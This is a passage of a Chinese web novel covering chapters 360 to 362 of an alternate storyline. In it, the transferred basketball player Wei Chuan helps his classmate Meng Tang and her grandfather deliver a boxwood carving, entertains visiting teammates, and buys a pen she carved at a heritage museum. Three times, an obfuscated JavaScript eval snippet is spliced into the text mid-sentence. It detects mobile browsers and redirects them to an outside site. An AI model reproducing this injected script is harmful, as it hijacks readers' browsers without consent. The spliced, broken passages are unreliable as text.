孟棠不禁想到自己的父亲,可想来想去,脑子里也仅有一个温情的片段,还是她小时候的。 今晚画画的状态不佳,一幅作品没有完成。 放学后,孟棠先回了教室,她的书包还在楼上。 等人走得差不多了,她才上去。 教室的门晚上是不关的,孟棠进门的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049057|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一些走读生在做题,而她的同桌,也没走,趴着睡得正香。 魏川人高马大,课桌都被他衬小了,孟棠过不去,索性来到前一排,弯腰越过桌子够着了自己的书包。 整理好后,她本打算离开教室,刚走没两步,又返了回去。 她推了推魏川:“放学了。” 魏川陡然惊醒,他蹙着眉,撸了把自己的短发,撸了一脑门子的汗。 “靠。”他不爽地嘀咕了句,“好他妈热。” 他的声音很小,除了孟棠,没人听见。 “放学了?”魏川仰头看着孟棠,“你怎么回来了?不是从画室直接走吗?” 孟棠说:“书包忘在教室了,平时是直接走的。” “走吧。”魏川起身。 两人又莫名其妙一起出了校门。 当孟棠看到魏川的司机扛着一辆自行车时,彻底没憋住,笑出了声。 虽然很小,但魏川听见了。 他一转头,孟棠笑靥如花的样子让他怔了片刻。 漂亮的女生他见过太多,孟棠这样看着冷清,但语气又温温柔柔的倒是少见。 她笑的时候,唇角的弧度很浅淡,眉眼似晴雪融入春山,不张扬,淡而清甜。 孟棠见他盯着自己,笑意倏然而止。 魏川笑了声:“我们家司机脑子有点傻,见谅。” 说着,他上前接过自行车,开玩笑道:“我送你?” 孟棠赶紧摇摇头:“我家就在前面不远处。” 魏川推着自行车走了两步,还是问出了口:“你家里人不来接你?” 孟棠眉眼间冷淡了下去,说:“我爷爷会在巷子口等我。” 魏川那句“你爸妈呢”堵在喉咙,想了想还是没问出口。 既然说了爷爷,想必父母不在身边,还真是留守儿童? 校门口的女生都有家人来接,也不知道她看了什么心情。 而且一个女孩子,晚上走路根本不安全。 人家放学特意叫醒了他,礼尚往来,魏川没急着回,而是不紧不慢地跟在孟棠身后,默默将她送到了昨晚他看到的一条岔路口。 眼见他还要跟着,孟棠终于回了头:“你干什么?” “礼尚往来,送你呗。” “我不需要。”孟棠当即蹙紧了眉头。 魏川一愣,得,是自己多管闲事。 孟棠见他不再上前,转身走了。 魏川脚下一蹬,没几分钟到了家,司机开着车缓缓跟在他身后。 “明天别跟了,校门口堵得跟什么似的,我自己骑车。” 司机点了点头,这件事魏先生已经答应了,他也就顺势应下来。 阿姨赶紧端了宵夜出来:“你怎么流了这么多汗?” 魏川笑了一声:“是不是很臭?” “不臭。”阿姨被他逗笑,“就是看着有点心疼。” 魏川:“……今晚做了什么吃的?” “夫人打电话过来了,说你嫌食堂难吃,我炒了两个小菜,蒸了一点米饭,你吃点?” “行。”魏川没有经受住诱惑,他还在长身体呢,他就这么在心里安慰自己。 吃饱喝足,洗澡睡觉,明天又是美好的一天。 第一个礼拜,魏川无精打采地度过,那几个体育生球技太烂,他已经没了兴趣。 太可怕了,不过一个礼拜,他竟然产生了这种想法。 就连周末,他都没去体育馆。 一种恐慌占据了魏川的大脑和身体,他从沙发上一跃而起:“我出门了,今天中午不在家吃。” 说完,骑着自己的山地车风风火火出了门。 导航到了体育馆,他拿着篮球一个人进行训练,也不能算他一个人,因为他打算开视频,和以前的队友。 结果一个都没接,魏川觉得奇怪,却也没时间去追究,一个人默默地训练。 凝神之后,一个下午很快过去。 他收拾好球包离开了体育馆,刚要路边,碰到一开着三轮车的老头。 因为躲避一只猫差点让三轮车侧翻,魏川眼疾手快,一把扶住了车上的货物。 与此同时,一双比他小了很多的手也从背后扶住了货物。 三轮稳定后,魏川歪过头,对上了一双浅色如琥珀的瞳孔里。 还真是有缘分,犄角旮旯的路上,他又碰到了孟棠,碰到了不穿校服的孟棠。 第360章 【if线 5】老头 孟棠头发很长,不像在学校全都绑在脑后,今天全都用一根木簪挽了起来。 她的连衣裙是一件白色的棉麻碎花裙,像秋日里的小雏菊。 “怎么是你?”孟棠语气带着惊讶。 魏川扶住长长扁扁的货物,对她说:“你先过来,我扶着,别砸到你。” 孟棠从三轮车上下来,对开车的老头说:“爷爷,车厢底层的海绵垫边缘的卡扣脱落了,暂时不能走了。” 海绵垫向车尾方向滑出约了十来公分,连带着底部的木雕架子也发生了轻微的移动。 孟遇春熄火,也没顾上魏川,上了三轮车,手动修复。 弄完了,他才转头对魏川说:“谢谢你了,小伙子,你是小棠的同学?” “是。”魏川点了点头,“您这是要去哪儿?也不怕这么大物件砸到你孙女,要不我帮您送过去?” “不——” 孟棠刚要拒绝,孟遇春招了下手:“上车。” 平时送货,他根本不让孟棠跟着,前两天他的老腰闪了下,孟棠不放心,非要跟着。 今天运气好,逮到一个年轻力壮的小伙子,孟遇春还不人尽其用? 魏川人高马大,搁那一坐就是一堵墙。 他看着孟棠,拍了拍包裹严实的货物边缘:“这是什么东西?” “木雕。”孟棠回。 “木雕?”魏川问,“运送这个干什么?” 孟棠:“……赚钱。” 魏川恍然大悟,原来孟棠家就靠一辆三轮车送货挣钱啊,这也太辛苦了。 怪不得她整天看着不太开心的样子。 魏川在心里又把人家臆想了一通。 到了地方,老头把三轮车停了。 魏川率先下车,转头想扶孟棠时,人家已经跳下来了。 他讪讪收回手,问孟遇春:“老头,你看什么呢?” 孟遇春没跟兔崽子计较,毕竟还指望人家卖力气,他抬手往上指了指:“五楼,你能跟我抬上去?” 魏川不禁笑了:“我要是没跟来,您打算怎么弄上去啊?” 老头指了指小区门卫:“看到没有,我找他。” 失策,魏川点点头:“确实是好办法,不过他们也都是老头,还没你年轻呢,有力气吗?” 孟遇春哼笑一声:“三个臭皮匠赛过诸葛亮,三老头还弄不动一块黄杨木了?” “魏川转身扶住黄杨木,笑道:“还是我来吧。” 孟遇春说:“你在底下托着点就行,不算重。” 五楼对于魏川来说都不够塞牙缝的,他体能要求高,一块木雕还是能弄上去的,只不过这块木雕比他手臂长,需要人在他前头搭一下。 “这个小区很老啊,”魏川跟孟遇春搭话,“但绿植覆盖率倒是挺高,楼下停的车也不便宜。” 孟遇春和他一起将木雕弄下车,说:“这里的路牌、地灯、绿植……但凡你看到的一切都有些讲究,住的都是有钱的退休人士。” “怪不得有闲情逸致买木雕。”魏川拦住孟棠,“我来,你能有什么劲儿。” 孟棠:“……我可以。” “我知道你可以。”魏川敷衍道,“不过你一个女生跟我争这个卖力气的活儿干什么?” 孟遇春挥了挥手:“小棠,你在后面跟着就行,待会儿请人家喝杯奶茶。” 魏川抬起木雕,说:“我不能喝奶茶。” “要保持身材啊?”孟遇春开玩笑,“你还有八块腹肌?” “怎么没有?你要看啊?” 孟棠一顿,莫名想起了前几天站在画室窗口瞥到的腹肌,魏川是真有。 “我一老头看你八块腹肌干什么?” “那您问什么?” “嘴长我身上,还不能问了?” “我嘴可不长身上,我长脸上。” “嘿你——” “爷爷。”孟棠无语地阻止这段幼稚的抬杠,“快到了,您脚下小心点,我先去敲门。” 孟棠小跑上楼,礼貌地敲响了门。 没一会儿,门开了,孟棠扯了个笑:“您好,富贵满堂的挂屏给您送到了。” 开门的是位戴眼镜的老太太,她见状赶紧将人请了进去,又叫了她老伴出来。 两厢打了招呼,对方客气地招待孟遇春喝茶水。 “你也真是的,说一声,我让人去拖,怎么自己给送过来了?” 孟遇春不跟他客气,只道:“别人送我还不放心,**手毛脚的。” 对方指了指魏川:“所以你给自己雇了个搬运工?” “小棠同学。”孟遇春说着解开防水布拆开木架,“就这都差点滑手了。” “呦,那可得小心点。” “谁说不是呢。” 孟遇春没让任何人动手,自个小心翼翼卸去了所有的保护,魏川这才看清这块木雕的真面目:牡丹呈瑞,满堂荣华。 “来看看。”孟遇春的语气略有得意,“边角镂空无一磕碰和划痕,你检查好了,就得收获了。” 老教授笑了声:“行行行,没问题,这就给你转尾款。” 孟棠默默地将珍珠棉、泡沫护角、纸箱、绑带等包装材料整理好,这些东西不能随意丢弃,下次还可以再用。 就算不用个,也不能扔别人家里。 孟遇春点了点头:“一手交钱一手交货,还是你实在爽快。” 老教授拿着手机捣鼓了一会儿,说:“看一下,钱转过去了,按照我们说好的,尾款一共14万。” 魏川惊了下,多少? 孟遇春和老教授道了别,带着两个小年轻下了楼。 上了三轮车,魏川实在没忍住,扒着三轮车的椅背问孟遇春:“诶,老头?你是送货的吧?怎么还替卖家收款了?合适吗?” “送货的?”孟遇春指了指自己,“你说我啊?” “不然呢?”魏川都被他搞糊涂了,“现在骑着三轮车的可是你。” 孟遇春哈哈大笑两声,骂他:“你这小子眼睛是真瘸。” “爷爷。”孟棠无奈了,也不知道这两个八竿子打不着的人怎么会杠来杠去的。 魏川无辜地看着孟棠:“老头什么意思啊?” 孟棠叹了声气:“刚才尾款14万的挂屏是我爷爷雕刻的,他是雁清黄杨木雕老手艺人了。” 其实也是国家级的木雕大师,不过说出来有炫耀的成分,孟棠挑挑拣拣,委婉地表达了一下。 魏川愣了半晌,对孟遇春拱手:“失敬失敬,高手果然在民间,您这也太朴素了。” 孟遇春哼了声:“你懂什么,这叫低调。” 魏川:“确实挺低调的,低调到让我以为是送货的,就差个快递公司的马甲了。” “你这小子,嘴巴也忒毒了。” 孟棠也是一阵无语,她也没见过一个十六七的小伙子和一个六十七的老头子贫来贫去的。 孟遇春一气,油门加到底,直接开到了家门口,等魏川反应过来的时候已经迟了。 “我靠,我忘了下车了。” 孟遇春哼笑一声,背着手径自进了大门。 魏川看了眼大宅的门头,再低头看看孟棠,一脸不可置信:“你住这里?” 孟棠点了点头:“怎么了?” 魏川摇摇头:“我放学经过这里,会看到这栋大宅的后门,我一直以为什么仿古景点,或者是什么非遗体验馆,结果你告诉我这是你家?” 孟棠笑了声:“和别家相比,确实有些夸张,不过这里面只有中间的院落是住人的,其他地方都有用,相当于里面还有个家庭工坊。” 这么一说,魏川就懂了,老头有那手艺,首先木头就少不了。 “我能进去看看吗?”魏川对里面很好奇。 要是之前,孟棠肯定要拒绝,但今天他帮了自己,拒绝的话怎么也说不出口。 她点了点头:“进来吧。” 魏川踏上台阶,跟着她进了屋,前院也有不少房间,他好奇地问孟棠:“这些房间是干什么的?” “阿姨的房间,还有接待厅和展厅。” “哇哦,还有展厅。”魏川并没有多意外,z市那些有钱人,都能在家里装个博物馆。 “展厅里都是木雕?给买家看的?” “不是,是我雕刻的物件。” 魏川恍然想起什么,下意识看向她的手:“所以你的手……是因为刻木雕所致啊?” 孟棠“嗯”了声。 魏川尴尬地立在原地,他在臆想什么留守儿童?有病吧? 过了影壁,进了中院,映入眼帘的是一片小菜园,他觉得有趣,多看了两眼。 阿姨从厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“川哥,猜猜我们现在在哪儿?” 魏川陡然升起一股不好的预感,这群孙子,不会来雁清了吧? “你们……在哪儿?” “我们在你家大门口。”邵一鸣兴奋道,“惊不惊喜意不意外?我、孔长风、周羽书,还有高远都来了,赶紧下来迎接你义父啊。” 沉默半晌,魏川说:“我不在家。” “我靠,别耍我啊,那你在哪儿?”邵一鸣可不想白跑一趟。 好兄弟被贬,他怎么着也得过来看一眼才放心。 魏川说:“我现在就回去了,你们稍微等我一下,阿姨在家呢,直接进去等吧,估计二十分钟左右。” “行,你人在雁清就行,赶紧回来。” 魏川挂断电话,转头问孟棠:“你家有自行车吗?能不能借我一下?” 他出门的时候直接打车走的,因为不认识路,也懒得导航。 心想去体育馆的路摸熟了,下次自己骑车,结果遇到了孟棠和他爷爷,被带到她家来了。 “有。”孟棠说,“不过我待会儿也要用。” 魏川:“那算了,我跑回去吧,我朋友从z市过来了。” 孟棠说:“我送你吧,待会儿我自己回来。” “会不会太麻烦了?”魏川瞥了她一眼。 “没事,就当感谢吧,毕竟你也不喝奶茶。”孟棠说,“走吧。” 孟棠的自行车有后座,魏川坐上去脚都抬不起来。 他顺理成章接过把手,随后拍了拍后座让孟棠上去。 不知道为什么,孟棠有些别扭,不过她还是和孟遇春说了声,跟着魏川走了。 魏川这人闲不住,嘴巴也是,骑到半路,问她:“你不是有车吗?为什么还走路上学?” 孟棠回:“上学挺近的,想骑就骑,不想骑就腿走。” 哇,真是好任性的理由。 魏川默默加快速度,到小区门口时,他心想把车还给孟棠,他自己跑进去,结果被几张熟悉的脸吓得来了个急刹车。 孟棠一不留神,撞到了他后背上。 第361章 【if线 6】八卦 因为惯性,孟棠抱住了魏川的腰,仅仅一瞬,她惊得快速抽回了手,只当没发生过。 魏川没来得及和他这群义子打招呼,转头关心起了孟棠:“我不是故意的,你撞到没有?” 孟棠摇摇头,眼睛愣愣盯着前方。 顺着她的视线,魏川转了头,邵一鸣眼神戏谑,兴味十足地盯着他和孟棠。 知道这孙子下一秒没什么好话,魏川赶紧将自行车给了孟棠:“谢谢你,你先回吧。” “诶等一下。”邵一鸣将人拦下来,“介绍一下啊,怎么掉头就走?” 孟棠僵硬在原地。 “干嘛。”魏川将邵一鸣拦下,“我同学,你又不认识,在这儿热情个什么劲。” “介绍一下不就认识了嘛。”邵一鸣朝孟棠伸手,“你好,我叫邵一鸣,魏川的队友。” 人家手都伸到眼前了,孟棠也不好当做没看见,回握了下,说:“孟棠。” “糖果的糖吗?” 孟棠:“……海棠的棠。” 邵一鸣笑了声,给她介绍了另外几个人,热情程度让人吃不消,她只能把目光转向魏川求救。 魏川上前隔开两人:“行了,把人吓着了。” 邵一鸣退后一步,十分绅士地做了个“请”的手势。 孟棠松了口气,给他们打了招呼后骑着自己的自行车走了,她正好要去超市买点东西。 魏川转过身体,双手一展,几个大男生抱坐一团,还是阿姨不放心跟着下来看了眼,才把人劝了上去。 “我去,你爸是真舍得把你下放到这里。”孔长风不客气地去冰箱拿了水,一人扔了一瓶。 魏川耸耸肩:“那能怎么办?人都快残了。” 邵一鸣听出他话中的不如意,拍了拍他的肩膀:“我也说不出什么安慰你的话,魏叔都没办法的事,我爸肯定也办不来。” 魏川笑了声:“没事,这里也挺好的,不然整天对面流言蜚语,我怕我又忍不住揍人。” “川哥,那你以后怎么办?”周羽书问,“你是要打篮球的,这里哪有战队给你打?” “我来之前特地了解了下雁清中学的历史,篮球很不突出,他们以文化见长,近些年才有了艺术专业。” 说话的是高远,他看起来忧心不已。 魏川不在,他们没了主心骨,一个礼拜过去,整天被教练凶。 高远这个人是比较内向的,他成绩很好,当初是被教练从别的学校挖过来的。 一开始整个队和他磨合不行,邵一鸣说话还有点冲,是魏川在中间充当和事佬,一直鼓励他,才有了那么多荣誉加身。 魏川一走,整个队里最受影响的就是他。 魏川笑着在他胸前捶了下:“还是你了解我啊,知道我想在这里组建一支球队。” 高远忽然拉住魏川:“川哥,我也转来雁清吧。” 魏川脸色当即沉了下去:“可怜我?” “你知道我不是这个意思。”高远皱眉,“你不在,我训练的效果大打折扣,总被老王骂。” “所以离了我就不打球了?”魏川语气凌厉,抬手指了指他心口,“想想自己为什么打球。” 高远当即不说话了。 “好了,”邵一鸣打圆场,“先吃饭吧,吃完饭咱们打会儿游戏,不是说好来见见咱川哥好不好的嘛。” 高远不吭声了。 阿姨见状,赶紧叫他们开饭。 “你们先吃着,还有几个菜没炒。” 邵一鸣他们来得太突然,阿姨准备不足,不过这会儿已经四道菜开桌,边吃边聊也差不多。 孔长风和周羽书对视了眼,随后问魏川:“川哥,你真的打算在雁清组一支球队?” “不然怎么办?”高远率先回答,“籍随人走,篮球赛都以学校也单位,他转到雁清,就只能代表雁清中学参赛。” 邵一鸣看着色香味俱全的饭菜也吃不下,其实他心里对魏川的担忧一点不少。 雁清中学没有篮球队,场地经费都不是什么问题,说起来不过钱的事情。 魏家不缺这点钱,难的是人。 邵一鸣沉默了一瞬,问:“你真的打算在这里组建篮球队?” 魏川点了点头:“时间不多了,我下个星期就向学校提申请。” “很难你知不知道?”邵一鸣蹙眉,“就说报名的人数,恐怕连日常分组对抗训练都无法正常开展;而且从高一到高三,协调难度很大,作息不一样,稳定性就差;雁清中学没有篮球队,即便来报名的那些人恐怕就会一点基础,你还指望带着他们去拿冠军?” 魏川当然知道,他放下筷子,目光默默扫了一圈,轻描淡写地说:“我知道很难,那我就什么都不做了?在这里混吃等死两年,两年后无缘cubal的比赛?” 周羽书说:“当初听说你要转学来雁清,我以为只是做做戏,没想到你真过来了。” “对方实力也不小,一直纠缠不松口也没办法。”孔长风说,“当初我就应该拦住你的。” 魏川耸了耸肩,故作轻松:“回去还得练,在球场上你也拦不住我。” 孔长风笑了声:“还有心情玩笑,看来什么都不能打倒你啊。” “还是有的。”魏川笑道,“雁清中学食堂的饭菜很难吃,第一顿就打倒了我。” 邵一鸣几个**笑:“委屈大少爷了。” 阿姨又端上来两个菜,魏川拿起筷子,招呼他们吃饭。 孟棠从超市回去后,天已经黑了。 方姐在门口等到了人,嗔怪了句:“你要把人急死,刚要给你打电话。” “我去超市买了点东西。”孟棠将车从一旁的侧门推进去,“你们吃饭没有?“ “等你呢,赶紧洗个手过来。” 孟棠洗了手,在孟遇春对面坐下,刚拿起筷子,孟遇春就问了句:“那小子回去了?火急火燎的样子,家里出事了?” 孟棠说:“没出事,他朋友从z市来看他。” “这么着急,看来关系不错。”孟遇春看了眼孟棠,“你跟那小子关系也不错?” “哪有。”孟棠反驳,“是他自来熟。” 孟遇春失笑:“这个我承认,不过他是刚转过来的,我看你俩说话什么的都很熟悉,你俩坐一块儿?” 孟棠:“……” 火眼金睛,什么都瞒不过他。 “是,梁老师调的座位。 “他怎么会转学?”孟遇春纯属好奇,“他看着可不像普通人家的孩子。” 孟棠将梁菲菲告诉她的转述了一遍。 孟遇春说:“那还挺可惜的,大少爷下乡,也是不容易,不过这小子挺热心的,没什么少爷架子。” 孟棠想起他坐在画室台阶上要东要西的模样,他确实没什么少爷架子,他要的本来就是属于他的东西。 吃完饭,孟棠去了工坊。 她平日里雕刻的时间不多,但有点空余时间全都用在了雕刻上。 孟遇春也没打扰她,独自一人出门散步去了。 这边,魏川和几个朋友吃了晚饭,歇息的时候,终于有点时间看了会儿手机。 他点开孟棠的号码,给她发了条信息:【我朋友来没跟我说,今晚没吓着你吧?】 信息石沉大海,五分钟过去也没人回应。 邵一鸣贱兮兮地从沙发后边凑上来:“川哥,人家怎么不理你?” “我靠。”魏川被吓了一跳,手脚并用往中间缩,“你特么……看我手机?” “这不是不小心瞥到了嘛。”邵一鸣示意他放松,随后又放低音量,八卦道,“不过没见过你这样啊,还主动给人家女生发信息?你对哪个女生这样过,这次知道我们过来,许昕言也闹着要过来。” “她来干什么?”魏川眉宇间尽是嫌弃,“赶紧给她拦着,脑子有病吧?” “她喜欢你呗,你又不是第一天知道。”邵一鸣直接从沙发上跳过去,在他身边坐下,“扬言毕业之前一定要追到你。” “呵……”魏川冷笑了声,“突然发现来雁清挺好的,最起码清净。” “你这话给她听到又得哭死。”邵一鸣也头疼,“你说你长那么帅干什么?” “我长得帅是我爸妈的本事,我不喜欢她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056124|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的本事,你就这么回去跟她说,赶紧**这条心。” 邵一鸣看着他满脸嫌弃,不禁想笑,他抵了抵魏川:“那这个孟棠……配得上你吗?” “你问这个干什么?”魏川警铃大作,“我目前哪有心思想这些,我都快被战队烦**。” “没有正面回答我问题啊。”邵一鸣得意地挑了下眉,“你不会真的对她有意思吧?” 魏川白了他一眼:“滚吧。” 邵一鸣“嘁”了声:“你就是心虚了。” 魏川懒得理他,说:“打游戏去吧,今晚打一整晚。” 邵一鸣起身,招呼孔长风他们去二楼游戏室。 魏川低头看了眼手机,半晌吐出一句:“靠,十几分钟了,竟然还没回。” 邵一鸣闻言回眸,直接笑趴在楼梯的栏杆上。 魏川心里不太得劲,这个孟棠到底看不看手机啊? 孟棠确实不太看手机,手机对于她来说,功能就是打电话,联系人方便一点。 从北院工坊出来已经快十一点,她手很酸,直接洗洗睡觉了。 惹得魏川这个不甘心的人,隔几分钟就看一眼手机,看了一晚上,游戏也没打好。 直到第二天早上,还是郁闷的状态。 本来以为昨晚熬了半宿,一个个睡到下午,吃完饭直接回z市。 结果邵一鸣起头,八点就起了。 魏川都被他们吓了一跳:“你们起这么早干嘛?知不知道一大早看到你们比看到僵尸还可怕。” 邵一鸣打了个哈欠:“兄弟们今晚就走了,下次也不知道什么时候才能见到,这个周末本来要训练的,我们求了教练才能过来,不能浪费这一天的时间。” 魏川沉默了半晌,问:“王教练还好吗?” “都快气吐血了,少了你这么个好苗子。”邵一鸣说,“现在天天虐我们,就是为了下次比赛把他们往死里打。” “还一天三顿逮着对面骂,不骂不舒服。”孔长风补充了一句。 魏川笑了声:“回去告诉我,我在这里很好,没有气馁,也没有生气,毕竟确实把人打到医院爬不起来了。” “你**这件事,王教练也很生气。”高远面无表情道。 魏川干笑了声,老王平日里最爱强调的不是训练,而是打架。 可能是年少轻狂,十几岁的年纪火气也旺,他看过很多因为冲动毁掉职业生涯的学生。 耳提面命,结果搭进去一个他最满意的球员。 痛心疾首去形容他也不为过。 “好了好了,一大早又在说这些。”邵一鸣觉得自己肩负重任,“要不看看雁清有什么什么好玩的地方,一起逛逛吧。” 周羽书:“可以,顺道在外面吃个饭,到时候我们直接车站。” 来者都是客啊,魏川点了点头:“行,我看看雁清有什么好玩的地方。” “你懂什么,你又不是雁清人。”邵一鸣吐槽了一句,“你问问昨天的同学,人家的建议才有含金量。” “孟棠?”魏川呆愣愣地问了句。 邵一鸣点了点头:“不然还有谁?你还有李棠方棠?” “滚一边去。”魏川拿出手机,“我试着问问看吧。” 魏川将手机开屏,下意识就要发信息,结果手指一顿。 孟棠信息都不回,他想了想,拨了一通电话出去。 莫名的,他有些紧张,呼吸都停滞了一瞬,直至响铃停止,传出一道温柔又平静的声音:“喂。” 魏川一下松了口气,问她:“早上好,是我,魏川,我想问你雁清有什么好玩的地方没有?我朋友想去玩玩。” 孟棠说:“雁清没什么娱乐项目,这里是黄杨木雕的发源地,景点多少自然景观和人文景观,距离你比较近的是非遗馆,还有一座水月寺,其他的都得要半天功夫,只怕你朋友的时间是不够的。” 魏川听完,“哦”了声。 “没有事的话,我挂了。”孟棠语气有些敷衍,手里头忙着其他的事。 “等一下。”魏川的不甘心又冒了出来,“你昨晚为什么不回我信息啊?” 第362章 【if线 7】无聊 信息?孟棠一愣,拿开手机返回主页看了眼,信息99加了。 她点进去一看,果然有魏川的信息。 “不好意思,我刚看到。”孟棠说。 魏川:“……你平时不玩手机?” 孟棠说:“确实不怎么玩,昨晚睡得迟,没看手机。” 魏川觉得稀奇,说:“现在还有人离得开手机?你白天忙些什么?” 孟棠觉得交浅言深了,便道:“没忙什么。” “不会是偷偷在家学习,然后惊艳所有人吧?”魏川开了句玩笑。 “无聊。”孟棠真想白他一眼。 第一次听到孟棠一本正经之外的情绪,魏川笑了声:“你忙,不打扰你了。” 挂断电话后,魏川示意邵一鸣他们去餐厅吃饭。 邵一鸣抵了抵他:“心情不错啊。” 魏川不想出口成脏,推了他一把:“吃饭都堵不住你的嘴。” 几个大男生吃饭很快,魏川在餐桌上给他们说了几个地方。 孔长风搜了下,说:“我们下午五点要赶到学校,最起码两点就要上车,午饭还得耽误一个小时。” 邵一鸣:“也就是说,我们只有三个小时的时间,来不及去两个地方?” 孔长风点了点头。 “简单啊,去非遗馆嘛。”周羽书说,“这里是黄杨木雕的发源地诶,看看有没有什么小玩意儿可以带回去,寺庙有什么好去的,都是和尚。” 邵一鸣给了他一个肯定的眼神:“嗯,我赞同。” 魏川当即做下决定:“行,就去非遗馆逛一逛,给队里其他人和教练他们带点小特产。” “走走走。”邵一鸣推他一把。 他们几个人过来的时候就带了个包,这会儿抬腿就能走。 非遗馆距离魏川居住的地方并不远,几个人打个车,十几分钟就到了。 主要还是雁清不大,一眼就能从南望到北。 出租车在非遗文化场馆大门口停下,魏川率先下了车,说:“还挺大的。” 邵一鸣也附和:“看着是挺大的,挺气派,走,去看看。” 进馆之前会有宣传手册,里面含有地图。 魏川随意拿了张看起来,分了好几个区域,陈列区、文创区、传承区等等。 别的魏川都懂,唯独没看懂传承区。 “先逛一逛吧。”邵一鸣说,“看看陈列区,看完再去主题文创区看看,买点东西。” 魏川等人进了陈列区才知道里面又细分了几个区,他想都没想,直接进了木雕区。 木雕区自然以黄杨木雕为核心,里面又细分了几个板块,有大师作品,也有青少年作品。 魏川当即被一组百鸟朝凤的根雕群像摆件吸引了,他走过去,去看这幅作品的介绍。 结果看到名字时愣住了,竟然是孟遇春。 他虽然不知道孟棠爷爷的名字,但姓孟,又搞木雕,家里还有个专门的工坊,想必是他没错了。 魏川盯着展示架上的作品,内心惊叹不已。 这座摆件以天然黄杨木根瘤为原料,根据木头生长形态雕刻凤凰立于梧桐枝上。 羽翎羽根根分明,层层叠叠,周身围绕仙鹤、喜鹊、百灵等十余种禽鸟,或飞或栖,神态各异。 整体来说,并没有做过多的人工修饰,而是利用树木天然弯曲的造型,呈现浑然天成的美感。 这座摆件,要是拿去拍卖,必然也得大几十万起步。 邵一鸣绕了一圈,实在没兴趣,又回到了魏川身边,问:“你看什么呢?这么入神?我怎么不知道你对木雕也有研究了?” 魏川指了指名字:“这人我认识。” “孟遇春……”邵一鸣凑近,“这谁啊?我怎么不知道你还认识木雕大师?” 魏川说:“孟棠的爷爷。” “我去?“邵一鸣惊讶地睁圆了眼睛,“还是个民间手艺人?” 魏川点点头:“老头还挺厉害。” “往里看看,别杵在这儿了。”邵一鸣推他一把。 魏川跟邵一鸣一道往里走,顺着路将场馆逛了一遍,花费了大半个小时。 就在要出去的时候,没想到场馆最里头还有个青少年黄杨木雕展厅。 鬼使神差,魏川走了进去。 右边第三个位置,摆着一尊《双雀戏荷》 荷花半开未开,花瓣薄如蝉翼,脉络可见,莲蓬饱满,两只小麻雀低啄莲蓬,可爱灵动。 细看,麻雀的羽毛也栩栩如生。 “我靠。”邵一鸣抵了抵魏川,指了下作品署名,“是我认识的孟棠吗?” 魏川下意识低头,看到署名是“孟棠”两个字,惊讶不比邵一鸣少。 耳濡目染,孟棠会木雕很正常,但能进非遗馆,手艺绝非一般,她才十七岁。 魏川被这份才气和手艺震住,他拿出手机,对着这幅作品拍了张照片。 邵一鸣瞥了眼魏川,直觉要完,不管男女,都爱有才气的。 更何况这个有才的还漂亮,魏川哪里见过这款。 这话也不对,z市很多漂亮有才的女生,但她们的才艺无非就是各种乐器、舞蹈。 魏川看都看腻了,乍然出现这么与众不同的,是个人都得在心里琢磨两句。 之后,他们去了文创区,商品琳琅满目,选都选不过来。 钥匙扣、书签和小摆件,这里应有尽有,而且精致小巧。 魏川一眼相中一支钢笔,和孟棠手里的一模一样。 他问导购多少钱,结果人家告诉他不卖,是参加活动才会有机会获得,且仅此一支。 如果都答对了,除了这支钢笔外,还有非遗馆的纪念品一份。 魏川实在想要,当即就问:“什么问题?” 导购给他指了个方向:“那边答题,拿到五个红印章,回来后拿到物品要在网络上进行图片打卡,发送动态即可。” 魏川当即走过去排队。 邵一鸣好奇地跟过去:“你要这个干什么?” 魏川:“……” 他能说这支笔和孟棠那支一模一样吗?他在文具店根本没找到,没想到她是在博物馆得来的。 “看着挺特别的,我喜欢。” 邵一鸣:“你都不知道人家要问什么。” 魏川说:“这里是非遗文化馆,还能问些什么,放心吧,一路走过来,但凡是我看过的,我都记得。” 邵一鸣朝他竖起大拇指。 终于轮到魏川,他自信满满,结果只对了一题。 问的都是黄杨木雕相关的问题,魏川还以为第二轮还是这个问题,特意搜索了下,问题又变了。 直至第三轮,那支笔被一个女生赢走了。 魏川立马追了上去,吓了人家一愣,结果看他这么帅,戒心当即松了下来。 “呃……”魏川指了指她的笔,有点不好意思,“这支笔能卖给我吗?多少钱都行。” 女生眨了眨眼:“你要出多少钱?” “一百吧。”邵一鸣凑上来,“这是边角料做的,也不值很多钱,只是看着有些特别。” 女生:“……知道这是谁雕刻的吗?仅此一支,一百就想买?” 邵一鸣吊儿郎当道:“谁雕刻的啊?” 女生哼了声:“雁清青少年非遗技艺大赛金奖,青少年非遗传承人,非遗新生力文创最佳雕刻奖,非遗馆年度馆藏《双雀戏荷》的作者孟棠,区区一百就想买她的笔,当我傻啊?” 魏川没想到是孟棠雕刻的,他直接伸出五指:“5000。” “呃……”女生噎了下,“5000不至于,500就行。” 魏川当即拿出手机:“我转你。” 女生开心得要命,一分钱没花白得五百。 一手交钱,一手交货,魏川满意了。 